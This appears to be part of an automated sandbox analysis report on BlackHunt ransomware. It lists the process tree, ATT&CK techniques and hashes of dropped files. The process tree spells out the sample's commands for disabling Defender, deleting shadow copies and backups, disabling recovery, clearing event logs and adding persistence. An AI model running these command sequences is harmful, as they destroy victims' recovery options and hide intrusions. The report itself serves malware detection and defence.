  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:1928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:4432
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:4416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:4132
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:4840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4612
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4656
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:4816
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:2892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2544
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:1900
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe"
  2⤵
  - Deletes itself
  PID:3220
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:4444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:5012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:2104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:4968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:4964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:2332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:4500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:4484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:4540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:4528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:4412

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
1⤵
PID:384

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:1916

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
1⤵
PID:2680
- C:\Windows\system32\reg.exe
  reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Modifies registry class
  PID:2608

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2880

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:1780

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
1⤵
PID:1632

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\0894059b57f48d9eb998f77788d357a9d542df2b012caa43fab5aa0fd949f0a6.exe" /F
1⤵
- Creates scheduled task(s)
PID:2972

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
1⤵
PID:2472

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
1⤵
- Interacts with shadow copies
PID:2652

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:1280

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:1856

C:\Windows\system32\fsutil.exe
fsutil.exe usn deletejournal /D C:
1⤵
- Deletes NTFS Change Journal
PID:2468

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:2252

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:1588

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
1⤵
- Interacts with shadow copies
PID:2500

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1808

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:2088

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
1⤵
PID:1988

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1080

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:896

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
1⤵
PID:328

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1228

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
1⤵
PID:2556

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
1⤵
PID:2996

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
1⤵
PID:2072

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
1⤵
PID:1240

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
1⤵
PID:1548

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
1⤵
PID:808

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
1⤵
PID:2872

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:2816

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
1⤵
PID:2812

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
1⤵
PID:2172

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender Real-time Protection settings
PID:2464

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
1⤵
- Modifies registry class
PID:2468

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2508

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2676

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D F:\
1⤵
- Enumerates connected drives
PID:2500

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:2768

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:4972

C:\Windows\system32\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
1⤵
PID:3320

C:\Windows\system32\taskkill.exe
taskkill /IM mshta.exe /f
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4864

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
1⤵
PID:5116

C:\Windows\system32\notepad.exe
notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
1⤵
PID:4884

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
1⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:4144

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:2724

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
1⤵
PID:3376

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl System
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4924

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3176

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:3972

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security /e:false
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:652

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:3524

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Application
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:328

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Setup
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:4644

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "524120401578689774-106727414615216420942106315951598837389-16359627141427464408"
1⤵
- Enumerates connected drives
PID:2560

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "109495274-5972116578394105-32428127-1421059695662927531-619860194160638970"
1⤵
PID:1556

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
e0b4b94f26224a7b5290fd211b760961

SHA1
c3f17910ffcb13da9008381d89f7bcee52a9a9ad

SHA256
1962cc3ef81173640d8b6b4be77264ecc92f7d75859df81791a1ea5409c3f27c

SHA512
749bec7aad7bd8c76245afa55a793d3e1287beaab45f43e5e483ff7f1bb049b8b1f34495c0f0782ecb0e45badf09462ed2625a13660c109fa28c2ad425fa8590

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
0f8d03e3a5b9aa99ee631dfece168074

SHA1
e08e054f17302aba5186b5e59a09e204bb1df034

SHA256
1898d4e6c1fa99d50b9741492a6c8a5292f3b0012f3ece8a2eff6c4d77a05dbf

SHA512
9b38630b646ccd97c61f9b59d006ce38a4849343bef1998316ac1e460bb46e56a3f87cb68207fd814c87fbe7993a4b5e1d9848c61d836146ef3151031dd7ef5a

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
319fe3d9f6843d9707c96eab847c9567

SHA1
5c9a6050baf03c86ca6c1e5fa4ae63d5dfe0e38f

SHA256
69c13162e89a37a8695dd9a02986241500b50ab421a074451a03ea6ddb9a7b3a

SHA512
4390d7e36dbeb7ee63f883effd453168d0a1c50c9b372a49a3c1a930bdf915c46b300bf7db8c1e104d27e72aaa9446be03bb5e444f6096557a1117ce26217a9d

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads